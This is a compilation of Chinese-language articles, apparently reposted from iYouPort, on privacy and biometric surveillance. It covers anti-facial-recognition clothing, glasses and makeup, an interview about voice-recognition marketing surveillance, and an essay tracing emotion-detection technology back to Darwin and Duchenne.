Hyperface 项目是总部位于柏林的艺术家兼技术专家 Adam Harvey 与国际互助工作室 Hyphen-Labs 合作的产物，采用了与对抗时尚类似的方法。

除了车牌之外，它还涉及采取看起来具有面部特征（例如眼睛、嘴巴和鼻子）的图案遮盖衣物或纺织品，以便诱使面部识别软件将它们标记为人脸。

这样做的目的是使计算机将注意力从佩戴者的实际面部上移开，然后将注意力集中在这些错误的 “面部” 上，从而可导致系统中出现数千次错误命中，使其无法分辨出哪些面部是真实的。

一旦印在一件衣服或纺织品上，这些图案就可以被穿着、或被用来覆盖一个区域。

这些图案针对特定算法，包括 OpenCV 的默认正面人脸轮廓，基于 HoG / SVM 的边缘检测器和卷积神经网络。

3、Phantom 眼镜阻止面部识别技术

「图」

由设计师 Scott Urban 创建的 Phantom 眼镜是隐私眼镜的新系列，旨在阻止某些形式的面部识别技术。

更具体地说，这种眼镜旨在通过红外光反射来欺骗3D点阵面部映射系统，例如 Apple 的 Face ID 中使用的那种。这样一来，它们就可以防止IR摄像机捕获您的面部清晰图像。

“将隐私等同于罪犯的时代已经过去，” Urban 说。“现在，一切都将变成了公司/政府使用您的脸来了解有关您的所有信息，并将所有数据收集到简洁的个人资料中。我和许多其他人只是不想生活在布满监视系统的世界里。”

除了智能手机中的面部识别技术外，越来越受欢迎的红外监视摄像头也依赖于3D点阵映射。通常安装在酒吧、饭店、停车场和街道拐角处，它们使用 IR LED 灯照亮黑暗的地方，然后使用特殊的摄像头捕获最终的图像。

它被认为是最准确的面部识别技术之一，并且很快也将成为最常见的一种。但是，由于有了 Phantom 眼镜，您就不必再为此担心了。

这些眼镜将使您无论白天或黑夜都可以保护自己的隐私。“我只是提供了退出功能，因为这些监视系统不提供退出功能，它们无处不在，不受管制”，Urban 说。

Phantom 眼镜看起来就像一副普通的眼镜，尽管镜框略宽。反射的红外光束会使您的面部数据失真，从而使3D红外测绘技术混乱，以此保护您的隐私。

这款眼镜的售价为142美元，预计将于2020年开始发货。

4、Incognitio 是一款极简主义的面具，可帮助佩戴者避免面部识别

「图」

波兰设计师 Ewa Nowak 开发了一种名为 Incognitio 的极简金属面罩，该面罩可以使面部识别算法无法识别佩戴者的脸。

这款面部装饰是用黄铜制成的，具有三个突出的部分：一个细长的多边形，延伸到佩戴者的额头上，两个圆圈定位在佩戴者眼睛的下方。

这些零件通过一束金属丝连接在一起，形状适合面部轮廓，像眼镜一样可以固定在耳朵后面的头部。

“该项目涉及反监视社会和在公共场所保护自己的形象这一主题。旨在保护佩戴者免受安装在公共场所的现代相机中使用的面部识别算法的影响”，Nowak 解释说。

这款装饰面罩通过遮盖脸部的关键部位从而阻止了算法识别佩戴者。

Nowak 上传了几张佩戴该饰品的模特的图像，对 Facebook 的 DeepFace 算法进行了测试，该算法无法识别这些图像。

虽然吸引了很多兴趣，但 Incognitio 面罩目前仅是一个概念，尚不清楚是否以及何时可以购买。

时尚在反击大众监控中的作用

「图」

面部识别技术几乎遍及我们社会的各个方面，几乎不可能逃脱其笼

罩。

尽管众多隐私和民权组织多次呼吁禁止面部识别技术，但因为监视技术太赚钱了，其市场规模仍在不断增长。

作为响应，许多艺术家和时装设计师创造了旨在帮助人们避免被面部识别算法检测到的衣服和配饰。

此处列出的大多数示例都是为利用大规模监视系统中的已知缺陷而设计的。但是，随着技术的不断进步，这些缺陷必将最终得到解决，到那时将使这些产品失去效用。

他们的创作者非常清楚这一点，他们指出设计并不是要解决这个问题，而是要教育人们大规模监视技术的工作原理以及如何与之对抗。

“用于识别任何类型图像的监视系统每天都在变得更精进。计算机视觉领域正在不断进步。我知道我的衬衫可能会在几年后失效。我看过其他反监视艺术家的旧项目，那些项目已经不再起作用了，但我觉得重要的是，尽我所能，即使我只是一个人在反抗，也要竭尽全力”，Rose 说。

这就是直接行动。

近年来的反监视时尚已经变得越来越流行。尽管其中一些设计已被证明是相当有效的，但重要的是，它们不应被视为解决此问题的最终方案，而应被视为促使人们就此进行对话的一种有效方式。

尽管存在广泛的担忧，但面部识别技术不太可能消失。如果使用得当，它可以成为有益的力量，但是政府需要找到一种方法来解决与其使用相关的隐私和安全问题。在此之前，反监视时尚可能是保护您的最佳选择。〇

原文

让面部识别失效的思考方式 - iyouport

生物识别-眼下最严重的威胁，以及怎么办

【2019年4月9日存档】说到避免面部识别你能想到什么？戴眼镜、围巾、帽子或假胡须？不不，这些通通不管用，它骗不了算法；面罩更容易让你变成警察的重点关注对象，因为你明明是好人却看起来像个抢劫犯。那么，避免面部识别的思考方式应该是什么？

全球各地的警方正在越来越多地试验有争议的新型面部识别（FR）技术，根据“信息自由法案”要求发布的文件显示，南威尔士警方和伦敦警察局共同花费了数百万英镑用于该技术的试验，尽管这两个系统的错误率都超过了90%。

世界各地的类似试验引起了对该技术的严重担忧，包括旧金山的隐私权倡导者都在呼吁禁止执法部门使用FR。

并且，不仅警察对FR的潜在用途感兴趣。从购物中心到运动场，普通人越来越难以知道自己何时会被这种技术跟踪、由谁在跟踪、以及为了什么目的。等监管很难有希望，因为当权者正是该技术的热门粉丝之一，所以我们应该自己保护自己，这是关于我们所有人还能不能走出家门大大方方吃个早点的基本问题。

幸运的是办法还是有的：根据所使用的技术类型，你可以尝试以多种不同的方式偏转 FR。也就是说，要做到这点，你真的需要首先知道哪种类型的FR最有可能在您经常出现的地区大量存在，虽然普通人很难知道在任何特定时间会被使用什么样的FR。

关于FR系统的大多数研究都是在实验室条件下进行的，研究人员确切地知道他们正在使用哪种FR系统，并且通常也可以访问底层代码甚至是训练数据，这使得他们在愚弄该技术方面有了一个巨大的天然优势。而在现实世界中，FR还经常与其他生物识别技术相结合，例如指纹或步态识别。引入越来越强大的人工智能技术也为该领域提供了巨大的推动力。

挪威科技大学的 Christoph Busch 说："融合了深度学习后，FR取得的进展是指数级的。" Busch 和他的同事 Raghavendra Ramachandra 对FR系统进行了广泛的研究，包括调查愚弄该技术的所有已知方法。

面对足够复杂的系统，现实中没有真正有保障的方法来避免识别。然而要知道，今天实际使用的许多FR系统并不是那么复杂，研究人员和隐私权倡导者正在寻找打败这项技术的方法。

于是作为受害者，我们最基本的是需要掌握应付这些技术的思考方式。

愚弄FR的技术大致可分为两类：遮挡或混淆。

遮挡技术很简单，就是通过物理隐藏面部特征来实现，因此相机根本看不到人脸。这些方法的成功程度取决于你脸上隐藏的有效部分以及隐藏的程度。

例如，露出最重要的面部特征的巴拉克拉法帽—眼睛，嘴巴，鼻子外露—实际上无法阻止人们被识别。研究人员发现，通过使用在14个关键面部点训练的深度学习框架，该技术能够在大多数时间准确识别部分被遮挡的面部。于是，戴眼镜、围巾、帽子或假胡须等等—— 这些都不管用。

如果你真的想把遮挡的思考方式带到极致，你可以绕过滑雪面罩，直接进入他人脸部的3D打印模型面具。URME 个人监视身份修复是对艺术家 Leo Selvaggio 脸部的3D扫描，精确到他的头发和皮肤纹理，这样的才可以做到遮蔽。

另一方面，如果你想要的或多或少只是字面上的锡箔帽，那么 Project Kovr 是个不错的选择，下图这样，它比普通帽兜长，而且固定在头发上，奔跑也不会脱落。

然而要知道，虽然隐藏整个脸部可能更有效地防止你被FR系统识别出来，但它有可能根本行不通。因为在许多地方，包括欧洲、加拿大和美国的许多地方，完全遮盖你的脸是违法的。

即使是在技术上允许完全遮盖脸部的国家和地区，也很容易想象这样做你会更快的吸引周围人的注意力—— 更不用说是警察了—— 看起来你就像刚刚从科幻反乌托邦里逃出来一样。

因此这一思路并不怎么样。最直接的技术之一应该是，中断FR系统的工作，让该技术误认为自己看到的不是一个人的脸。

简单说，如果你正在反击面部识别，你可以尝试分解你的脸部线条，试图阻止它在第一时间被系统检测到。

这就是 CV Dazzle 方法背后的理念，它使用极端的化妆和发型来迷惑计算机视觉系统。这种技术—— 和其他形式的极端化妆 如 Juggalo —— 都能够混淆计算机视觉系统，通过玩弄明暗区域颠倒，以令计算机认为那不是人脸。

从学术研究的角度来看，'化妆攻击'越来越受到关注。但是，这种攻击需要良好的化妆技巧才能获得成功，只是随意化妆是不够的—面部上的关键点需要以特定的方式被完全模糊化，才能做到欺骗系统。

并且，Dazzle 方法仅适用于依赖可见光的系统—— 然而，就像其他遮挡方法一样，当你在公共场所走动时，这种妆容很可能会引起很多关注。⚠请注意，这意味着它不适用于更复杂的系统，如 Apple 的 FaceID，它使用的是红外光而不是可见光。

苹果将红外光线从你的脸上反射回来，创造出你脸部的3Dmap。这会使人们更难以避免被识别，因为它不仅依赖于你呈现的方式，而且还依赖于你的脸部轮廓—— 这就是为什么 iPhone 不会被平面打印的图像所愚弄，这真的很有用，因为你无法从中获得任何轮廓。

但是，基于红外线的系统比如像 CV Dazzle 这样的技术，它们也容易受到其他形式的干扰。用红外线对抗红外线是可能的。

2018年，研究人员尝试使用一系列微型红外 LED 连接到棒球帽内部，将光点投射到佩戴者的脸上。这些点对于人眼是不可见的，但却能使计算机视觉混淆并使脸部无法被机器辨认。就是下面这样：

这些技术可以让计算机认为目标人完全是另外的人。使用 LED，在70%的测试中，研究人员能够欺骗FR系统认为他们的同事是美国音乐家Moby。

化妆和LED都是基于目的的伪装，HyperFace 伪装则是分散注意力，而不是试图阻止系统完全检测到另一个完全不相干的面部，该方法的目标是通过使单一人脸看起来是一大片面孔，来压倒机器的识别能力。被奇妙设计的图案可以印在围巾或耳环上，也可以印在任何可以贴近人脸的地方。

FR系统根据明暗的特定模式来检测面部。 HyperFace 伪装所做的就是模仿那些计算机视觉中的明暗模式，而不是人眼。 HyperFace 的目

标是让你的真实面孔成为FR系统眼中的大海捞针，同时现实中相对不显眼（你只是戴了一条凉爽的围巾）不会让你一下子成为人群中的聚光灯。

换句话说，这里的逻辑是，如果一个计算机视觉算法一直在期待一个面孔，那么就利用它的期待。不过目前阶段，该项目仍然只是一个原型。

故意欺骗技术是一回事，混淆主题则是另一回事。在现实世界中测试的许多FR系统目前已被证明是非常不准确的。例如，在2017年威尔士欧洲冠军联赛决赛周期间，警方对该系统进行的测试显示，92%的结果可证明是错误的。

但是，这种状况很快就会发生变化。 FR试验的高度不准确性不太可能持续很长时间。 新兴的深度学习技术以及通过社交媒体获得的大规模人脸图像，以及 GPU 的进步，已经显著提高了人脸识别系统的识别性能。

由于政府和私营公司这些老大哥投入了巨大的资源，该技术发展得特别快。他们不是为了科学努力而花费这笔钱的—— 他们正在投资这项技术，因为他们要使用它，他们就是老大哥。

随着FR的使用在我们日常生活中变得更加普遍，与之相关的问题变得更加尖锐。任何逃避识别的方法充其量只是一种权宜之计，特别是当FR与其他形式的生物识别相结合使用时。

那么真正彻底的解决方案是什么？—— 立法、变革。再一次，强调：人权不是一个人的权利，所有人需要联合起来才能保证大家都能获得安全。更多详见早期的文章《如何对抗面部识别技术？》

How to hack your face to dodge the rise of facial recognition tech? Use of facial recognition tech is on the rise, but how do you get away from it? 3D-printed face masks, makeup, infrared lights, and complex patterns are being used to dodge its all-seeing eye

原文

语音识别的 “诱惑性监控” - iyouport

生物识别-眼下最严重的威胁，以及怎么办

不仅仅是识别您的身份，还识别您的身体状况、情绪等，甚至替代您实施控制 …… 语音识别公司正在获得有关其消费者行为习惯的前所未有的大量信息

《通过 *ClubHouse* 看到社交网络舆论场有多么容易被操纵》

迅速扩大的语音识别和语音分析行业正在使公司对其消费者的行为和习惯拥有前所未有的洞察力。根据 Global Market Insights 的一份报告，语音识别技术的全球市场 —— 被广泛用于手机、智能音箱、自动驾驶汽车、甚至客户服务呼叫中心 —— 到2026年将达到约**70**亿美元。

但人们对引领语音识别技术的公司将如何使用我们的数据知之甚少。

约瑟夫·图罗是一位作家，也是宾夕法尼亚大学安纳伯格传播学院的教授。他几十年来一直在撰写关于营销行业如何追踪监视消费者的研究。他的最新著作是《声音捕捉者》，关于营销人员如何通过监听你以利用你的感觉、你的隐私和你的钱包”。

他与 CodaStory 讨论了语音识别和语音分析将如何颠覆传统营销。

Coda Story：如果我正在进行我的日常生活—— 去商店，坐地铁等等 —— 我将会遇到什么样的语音识别技术？

约瑟夫·图罗：语音识别所发生的大部分事都将发生在你和你的手机之间。但也要记住，人们会和自己的汽车交谈、会与800类电话的联络中心沟通，在这些地方有很多语音识别和语音分析技术。

Coda Story: 因此，我们已经在日常生活中越来越多地接触到了语音识别和语音分析，特别是当我们考虑到相对便宜的所谓虚拟助手或扬声器，如亚马逊*Alexa*或谷歌*Home*。你可以从亚马逊或谷歌购买一个*50*美元以下的智能音箱。在这种便利性和可负担性之下，隐藏着怎样的

监控风险？

JT：你刚才描述的很多东西都是我所说的诱惑性监控。这意味着用技术来诱惑人们，同时隐藏其中的监控行为。

因此，举例来说，亚马逊的 Prime Day 很快就会到来。你将能够以难以置信的低价购买这些亚马逊的扬声器，如 Alexa 或Echo Dot；而谷歌也在以低廉的价格做这件事，主要是为了让人们习惯于这种想法，即“这是生活的一部分”，你知道，早上起床后说，“Alexa，天气怎么样？”因此，这真的是一个诱惑性的监控时代。

Coda Story: 这个行业的发展非常迅速。在你的新书中，你写到了一些专利，说明了语音分析的发展方向。你对此印象最深刻的案例是什么？

JT：有一个非常有趣的亚马逊专利。他们实际上有一幅漫画。一个女人走进自己的公寓，说：“[抽鼻子的声音]……Alexa，给我一个晚餐的食谱。”Alexa说：“你听起来像是感冒了。鸡汤怎么样？”据亚马逊称，Alexa 是根据这位女士的声音和各种音高和音调的变化得到这个结论的。她说，“不，谢谢”。而 Alexa 说：“我给你订购一些咳嗽药水，半小时内送到，怎么样？”当然，亚马逊拥有一家药店。

谷歌已获得专利的另一项技术涉及在你的房子周围放置麦克风。它可以计算出人们在一天中的什么时候做什么，做了多长时间。而且，在某些情况下，像这样的计算系统实际上可以代替你关闭某些东西。因此，如果你认为，“哎呀，孩子们玩了太多的视频游戏”，那么，谷歌将监视孩子们在哪里，弄清楚他们在做什么，如果他们玩视频游戏的时间太长，就关闭游戏。

这些专利提出了一个巨大的领域—— 技术将倾听我们所说的话，公司和营销人员将从中赚大钱，而我们却不知道发生了什么，因此也想不到检查一下。

如果您错过了《谁在听？- 您应该小心音频转录服务》

Coda Story: 你刚才提到了800号码的呼叫中心。听起来，通过电话提供的客户服务是一个正在发生大量这种语音分析的地方。你能告诉我们一些这方面的情况吗？

JT：那是在领先的边缘。而且，我认为，部分原因是人们甚至不知道它的存在。当你拨打800电话时，他们的软件可以检测你的情绪——

据说。在某些情况下，它将把你引向一个公司已经发现的对有这种情绪的人更适合的客户代表。或者，他们会将你的购买历史记录与他们从以前的互动中了解到的你的声音个性联系起来，然后将你分流到某些类型的人群编目中，并根据你的声音和你与公司的交往历史，来计算你可以得到或不可以得到什么类型的折扣。

Coda Story: 这种语音识别技术经常被用于市场营销中。是否有这样的风险显示它将进入我们生活的其他部分？

JT：这不仅仅是风险了。这是一个已经确定的活动。人们习惯于这种想法，然后它就开始扩散了。〇

The ‘seductive surveillance’ of voice recognition

原文

说谎的眼睛：根植于维多利亚时代面部识别 - iyouport

生物识别-眼下最严重的威胁，以及怎么办

【2020年7月23日存档】当前已流行全球的监控技术建立在严重局限性甚至可能是错误的理论上，它意味着什么？

看这张脸 👇。你觉得这个人感觉如何？

「图」

什么样的经历会产生这种深渊的表情：大睁眼睛、眉头弯曲、下巴缩回、大张嘴巴，就像是从喉咙深部发出沉闷的尖叫？

Charles Darwin 在1872年的作品《人与动物的情感表达》中使用了这张图片（*改编* 自法国神经学家 Duchenne de Boulogne 的照片）来帮助说明他关于人类情感表达的进化起源的理论。

这本书将科学讨论的重心从面部表情学（对基础骨骼结构的研究）转向病理学方面（对面部活动的研究），从此为演化生物学范式打下了基础 —— 此范式自此以后一直主导着科学家对人脸的解释，直到如今。

现在，我们可以 “读取” 面部，这通常被认为是理所当然的。在他人身上我们看到了肌肉收缩的特征性模式，可以直观地将其与特定的情感联系在一起：微笑意味着幸福、皱眉表示悲伤、立目表示愤怒 ……

这种简单的逻辑遍布人们谈论面孔的方式 —— 决定了人们认为面孔所示的含义以及它们的代表方式。

它还以自我合理化和量化的形式支撑了各种新的 “情感检测/监视” 系统，这些系统目前由 **Emotient**、**Realeyes** 和 **Affectiva** 等初创企业以及微软、亚马逊和**IBM**等寡头公司开发和销售。

👉这些监视系统旨在通过分析人们面部的实时镜头来识别一个人的情

绪状态。

- 《一系列隐私灾难正在来袭，或许你还没有意识到？》

广义上讲，它们通常通过绘制一系列面部“标志”（嘴角、眼角、鼻尖）的相对位置，然后将它们与一组情感模板相匹配以进行标记。结果通常表示为概率百分比，这个百分比允许在单个面部案例中同时存在不同的甚至矛盾的“情绪”。

例如，在任何给定的时刻，您的脸都会被视为 56%轻蔑、31%恐惧和13%的快乐。

如果这种情感上的演算看起来显然是荒谬的，人们应该提醒自己，从事制造和部署这些技术的开发人员、投资者和客户会造就非常严重的问题。

- 如果看到金正恩照片的朝鲜人被监视系统检测到56%的轻蔑 …… 此人会遭遇什么？别忘了，这种监视技术如今在全球流行，包括中国《中国的少数派报告技术又有了新发展》

⚠这些技术已被广泛地应用于市场、工作场所管理、维稳异议和全民监视等各个领域，为独裁资本控制和从人体中提取价值，提供了新的途径。

☞ 旅客因面部表情“恶意”而被拘留在机场安全部门，被认为对自动化面试官表现出焦虑或愤怒后，求职者被拒绝，服务人员因热情不足而受到制裁 …… 似乎看起来像资本主义反乌托邦的前沿，“自动面部分析”最终也建立在相同的传统认知的基础上，即 笑脸代表快乐的个体。

但是，如果回到达尔文的《情感表达》，你就会发现，这些想法既不像最初看起来那样永恒，也并非不言而喻。实际上，在达尔文出现之前，有关情感表达的论点与他关于进化论的更为著名的著作一样，都是奇思妙想而已。

直到19世纪初，几乎所有系统性的以整理人脸的含义为目标的研究都集中在潜在的骨骼结构上，这被认为可以表明一个人的一般性格。比如 突出的鼻子、意志力等等。

这就是相貌学的意思（就如中国的相面术），相貌学的起源可追溯到古希腊时代，在优生学和一系列制度化的种族意识形态领域非常顽固。如今，它还存在于一些监控技术中，这些技术不仅试图从人的面

孔上检测情绪，还声称可以从面部形态上检测个人的性格特征或行为倾向。

对于像18世纪末的瑞士神学家 Johann Kaspar Lavater 这样的相面先生来说，脸部固定的轮廓为调节个体主观性提供了基本框架。诸如鼻子的大小或额头相对于下巴的角度之类的度量被认为是形而上学本质的外在表达、认为它定义了人的性格极限。

面部表情仅在此基础的确定背景中才有意义。例如，对于一个拥有坚挺、垂直的骨骼结构的人，Lavater 就会将其与精神上的贵族联系起来，认为这样的人会大笑或坦荡地微笑，但从来没有淫荡的笑容，因为淫荡简直超出了他们的骨骼结构所暗示的可能性范围。

Lavater 的目的是在极端的政治和社会动荡时期发明一种基于阶级的社会秩序的生物学基础（因此是不可变的），一种将个人组织成可以在视觉上读出阶层的方法，即使旧的封建等级标志正在消亡。

面孔的固定形式表示恶习和美德在各种 “人的秩序”中的永久分布，社会秩序的“理性”重组被限制而无法再进行。

相貌学家相信人类的本质是一成不变的，更不用说它在不断发展的解剖学、生物学和神经学学科中缺乏任何依据，而达尔文正是以此为依据的。

因此，达尔文写表情的最直接的目标之一就是颠倒相貌学，声称主观性的深层结构不是在面部的坚硬基础中找到，而是在其活动的肌肉组织中找到的。

他绝不是第一个尝试这样做的人。在他的作品发表之前，Duchenne 等人和苏格兰通才 Charles Bell 爵士是达尔文最重要的影响者。然而，这些早期的病理学家也分裂为与达尔文理论不相容的立场，声称面部表情是人类的独特才能，是人类善意的创造者为了传达灵魂之物而授予的。

达尔文希望驳斥这种创造论者关于面部表情的描述，这驱使他采取了一种看似反直觉的修辞策略。

看起来他决心与设计论观点背道而驰，朝相反的方向进击，他声称面部表情可以更好地理解为进化世系中更早的“有用”行为的无用痕迹；“它们实质上是身体上的反射，植根于我们祖先应对原始环境挑战的方式”。

例如，通常与恐惧相关的张开嘴巴、睁大眼睛的表情仅仅是身体对感知到的威胁做出的更广泛生理反应的一部分，其中还包括诸如头发僵硬、心跳加快和呼吸加快等现象。 本质上，是战斗或逃跑的所有必要准备。

这些行为共同构成了后来的研究者所说的 “影响程序”，即 根据后达尔文主义进化心理学定义情绪的生理反应列表。

有人认为，情感程序和面部表情不会进化，因为它们的交流功能具有适应性优势。它们是史前人类的遗物，即使在塑造它们的暴力世界消失之后，也通过结社力量传承至今。

这种推理方式对如今人们如何看待情绪和面部表情的方式具有深远的意义 —— 一组*假设*已直接输入到当代情绪检测技术的设计中。A monitor displays the Omron Corp. Okao face and emotion detection technology during CES 2020 in Las Vegas, Nevada, U.S., on Wednesday, Jan. 8, 2020. Every year during the second week of January nearly 200,000 people gather in Las Vegas for the tech industry’s most-maligned, yet well-attended event: the consumer electronics show. Photographer: Bridget Bennett/Bloomberg

面部表情仅仅是情感程序的一个元素而已，但它是最可见且最容易识别的。因此，人们倾向于将面部表情视为 “稳定的” 情绪代码。

但至少达尔文对这种符号学大体上是试探性和谨慎的，然而，他的继任者几乎没有继承他的谨慎态度。

从1960年代起，自称为达尔文主义传统的继承人们一直在寻求建立与刻板印象化的面部表情相关的 “万用的” 或 “基本情感” 库。

该领域最有影响力的实证研究通常是向人们展示一张面孔的照片以及一系列预先选择的“情感词”，并要求他们选择最合适的匹配项，其结果通常以六个清单的形式呈现规范表达：幸福、悲伤、厌恶、恐惧、愤怒和惊奇。

该清单提供的就是当代情绪检测技术所基于的基本类别。

达尔文的工作极大地改变了人们对人脸与主观性之间关系的理解。人格不再以一系列道德特征（智慧、愚蠢、美德、邪恶）来描述，而是通过一系列情感状态的动态来描述；一个人的身份取决于此人的感受，而不是遗传性的和不变的形而上学本质。

从这个意义上讲，达尔文对情感的描述不仅构成了对相貌本质主义的拒绝，而且还有限地驳斥了19世纪末的优生主义者和种族科学家对相貌的等级世界图景进行重新定义的尝试。

但是，从长远来看，达尔文的思想只是将人类包裹在另一种形式中了。它将面部形态的决定性框架交换为一组据称是硬编码的情感程序集，被认为植根于人类的进化传承中。

由于在达尔文主义的观点中，情感及其相关的面部表情被视为反射、建立“真实情感”的绝对经验标准，其中包括由适当刺激触发的定型生理反应。结果就是，任何有意识地与他人交流情感状态的尝试都被隐含地理解为一种伪装的表演。

反过来，这种区别为纯粹根据情感显示的“正确”和“错误”的生理标记奠定了基础。

按照正确的训练，逻辑就可以了，客观的观察者可以从“假”表情中分辨出“真诚”的笑容。同时，受试者对自己的情感真诚度的感觉完全不重要。

决定一个人的感受的最高权力不在此人的经验范围内，而是超出了他们描述它的能力。无论他们是否喜欢，“真相”都被认为写在此人的脸上。

☞新一代的情绪检测技术将这一原理系统化了。如果充分扩展，它将有效地剥夺人们（无论是个人还是群体）叙述自己的情感经历的能力。

☞这种情感打击的不当后果已经可以被察觉到。例如，据报道，韩国的一些求职者已开始接受特殊培训，以学习如何才能表现出公司正在用来筛选潜在候选人的AI机器人所认为的“正确”情绪。

这些技术是否能“准确地”检测到情感的问题不在重点之列。重要的是，他们的裁决得到了在人们的日常生活中行使强制性权力的机构的认可。Demonstration of Facial Emotion Recognition on Real Time Video Using CNN : Python & Keras

达尔文及其继任者的工作目前为当今的情感分析技术提供了重要的理论基础和合法化的强大资源。但是，很少有人认识到达尔文的理论本身在其起源时就陷入了围绕19世纪革命性媒体形式摄影而传播的知识和权力的复杂纽带。

达尔文关于面部表情的想法从根本上是通过他对该技术的实验性和说明性使用而形成的。摄影是一种看似客观的表达方式，与惩戒权的行使密切相关。当今的面部情感分析运用了类似的客观性，并且再现了相同的社会政治盲点。

情绪和面部表情都是持续的，并且会无限期地展现。然而，照片使脸部脱离了这种不稳定的时间性，而是将其呈现为点和轮廓的固定空间布局。

换句话说，达尔文主义病理学只有通过将其移动表达形式化为坚硬的静态几何体，才能将其转变为清晰的对象。事实证明面相学的幽灵不是那么容易驱除的。

在1870年代中期，摄影仍然是一种革命性的新技术，逐渐进入了文化主流。《情感表达》是第一本以英语出版的带有摄影插图的书籍之一。对于达尔文来说，这些插图提供了一定程度的细节和客观性。

这些图像缩小了论点的复杂性，有时缩小的是违反直觉的论点与这些论点所涉及的日常视觉体验之间的差距。

除了这种修辞功能外，摄影还具有重要的方法论作用。正如达尔文指出的那样，“对表情的研究很困难，因为动作通常非常轻微，而且瞬息万变。”如果要在精细的细节和短暂的肌肉运动中发现面部表情所表述的重要意义，那么观察者必须拥有快速的视觉和超强的记忆才能将它们结合在一起。

这就如同赤手抓蝴蝶。但是摄影可能会抓住这种飘忽的东西，并在不到一秒的时间内将其捕捉起来。它捕获微小而短暂的肌肉收缩，并将其与背景环境分开。面孔最终可以以客观的形式来表达，似乎与欲望、记忆、痴迷和想象力的扭曲效应相分离，后者是早期复制形式的产物。

达尔文确实承认了面部表情会以使客观审查极为困难的方式影响人们。一张脸需要回应，无论是同情、恐惧还是令人反感，这种互动都会破坏客观性。

而且，他承认，我们从来没有简单地就面孔本身做判断，而背景因素不可避免地激发了对面孔的理解。面孔的含义取决于我们所遇到的人际关系、社会和文化条件。

从达尔文的角度来看，这个棘手的问题是：如果很难将面部表情与移

情、互惠和社交的动力分开，那么面部表情可能不仅仅是简单的反射，而是人类互动的必然历史和社会产物？

但是，承认这种可能性将在深层次上干扰达尔文的理论。摄影再一次提供了*摆脱*看似无法解决的矛盾的方法。

通过将脸部呈现为陷在相框中的静态伪像，照片看上去似乎将脸部与其直接的社会情感环境隔离开来了，从而使达尔文可以纯粹从其物质结构方面对其进行研究。

通过摄影，达尔文可以将情感描绘为存在于面部 “内部” 的一种物质，等待细心的生理学家发现它。

当然，出于同样的原因，现代研究人员认为，他们可以从CCTV录像或网络摄像头中出现的面部表情中挖掘情感。

就像他的前任一样（更不用说他的继任者了），达尔文关于面部表情的想法既受到了他试图代表它们的媒介的束缚，又被其所支持。如果说相貌是线条、半身像和轮廓的哲学，那么病理学将是照片的科学。

但是，在摄影实践需要大量专业技能和设备的年代里，达尔文缺乏制作自己的影像的资金。因此，他在某种程度上依赖于法国神经学家 Duchenne du Boulogne。

本文最上面的那张图来自《Mechanism of Human Physiognomy》（1862）中包含的84张 Duchenne 照片中的一张，这些照片描绘了据称是不同情绪状态特征的各种面部表情。

他的作品集被证明对达尔文特别有用，一方面在于它的视觉清晰度，另方面是，他提供了同一主体的多幅图像，表现出各种情感，使它们之间的差异更易于识别。

Duchenne 面临着与达尔文几乎相同的问题 —— 如何将面部表情单独拿出来使其成为可分析的清晰对象？如何将表情从面对面的社会情感环境中提取出来？

摄影是解决方案的一部分，但 Duchenne 还运用了更多的技术创造力：他将这一过程称为“电生理学”。通过用电极附着在受试者脸上刺激肌肉，他发现可以重现笑容、皱眉、冷笑和其他许多特定的面部构造。

除了通过外力操纵面部肌肉的怪异感觉外，该过程是非侵入性的，并

且据称基本上无痛。

然而，即使在使用法国同事的照片时，达尔文显然也打算淡化 Duchenne 的技术。在上面的图像中，电极被去掉了，看起来就好像是该人“自发地”表现出这种致命的恐惧。

在其他情况下，达尔文使用 Duchenne 的原始照片时，会对其进行裁剪以使电极尽可能不显眼。另一方面，如果人们看着 Duchenne 的原始照片，那么它们的怪诞就变得不容忽视了。

一旦我们熟悉了 Duchenne 的技术，就可以理解上述图像的讽刺意味 —— 达尔文竭尽全力压制的悖论。

表现出这种 “恐怖” 表情的人极有可能只是轻度的不适。Duchenne 已经切断了面部肌肉、情绪和主观性之间的联系 —— 而达尔文的论点是情感和面部表情是反射性的回应。

电生理学的残酷景象也证明了摄影本身的强制性。

英澳学者 Sara Ahmed 认为，所有面对面的交流虽然不一定是敌对的，但不可避免地暗含着谈判、许诺、礼节和权力问题。并且在性别、种族、阶级和社会等级制度的形成方面也具有最广泛的意义，涉及谁看和谁被看的问题。

无论我们是看着挚爱的朋友还是凝视着街上的陌生人，都是如此。如果排除隐含的社会和政治动态的作用，就不可能理解一张面孔。

摄影之所以看起来就像具备开放性和易读性，但那只是脸部的基本属性，而不是特定社会关系的影响。但 Duchenne 的技术将这种被掩盖的过程返回到图像的表面。

查看他的一张照片可以清楚地看到，“可读” 的面孔并不是 “发现的对象”，而是更复杂的强制性的人工过程的结果。同样，当今的情绪分析技术所产生的读数仅仅是一系列复杂的社会遭遇的表层。

Duchenne 的研究是针对精神病或精神病患者进行的，这一事实极为重要。这些精神病患者无权反对或抵制 Duchenne 的实验，更不用说提供任何形式的知情同意了。

19世纪许多最著名的面部研究项目都是在制度化的机构和被剥夺权利的人中进行的。法国警察 Alphonse Bertillon 的人体测量学是针对被拘留的罪犯进行的，Lombroso 的犯罪学研究和 Galton 的 “综合肖

像” 也是如此。

达尔文表达的另一个至关重要的资料来源是他分发给调查英国全球殖民地的各种科学家、冒险家、传教士、行政人员和警察的问卷。达尔文并没有认真考虑是在什么情况下记录了这些观察。

依赖算法的当代技术科学研究也是如此。

在每种情况下，强制性的社会关系都会将面孔带到镜头前。从这个意义上讲，在19世纪出现的清晰客观的面孔不仅是相机技术的影响，而且是福柯所说的 “惩教机构” 的发展力量 —— 监狱、工厂、医院、庇护所 —— 组织，合理化和工具化人体。

这种机构隔离人的能力、并将人们放置在镜头前，迫使他们将自己的脸暴露为静态物体，这产生了如今算法时代继承的情感识别观念。

在某些方面，当代人脸研究的道德规范在某些方面也同样模糊。虽然现在要求实验室的实验参与者提供知情同意，但是，许多最新技术都依赖于上传到社交媒体网站的数据，自动抓取，发布者完全不知情。

如今，可以以自己的脸来判断自己情绪的自由，已经完全被低估了。很快，我们所有人都可能会失去这种自由。〇

作者 *Richard Woodall* 是英国谢菲尔德的作家和研究员。他的研究主题包括视觉技术的历史和政治学，以及对数字资本主义的分析和批评。

原文

遮住一半脸没有用：“面部识别”升级版诞生 - iYouPort

生物识别-眼下最严重的威胁，以及怎么办

遮住部分脸部已经无法逃离面部识别，甚至只需要拥有你童年时代的照片也能找到你现在的本人，俄罗斯最新被发现的面部识别技术已经完全超越 **Facebook** 的恐怖，这是谁干的？

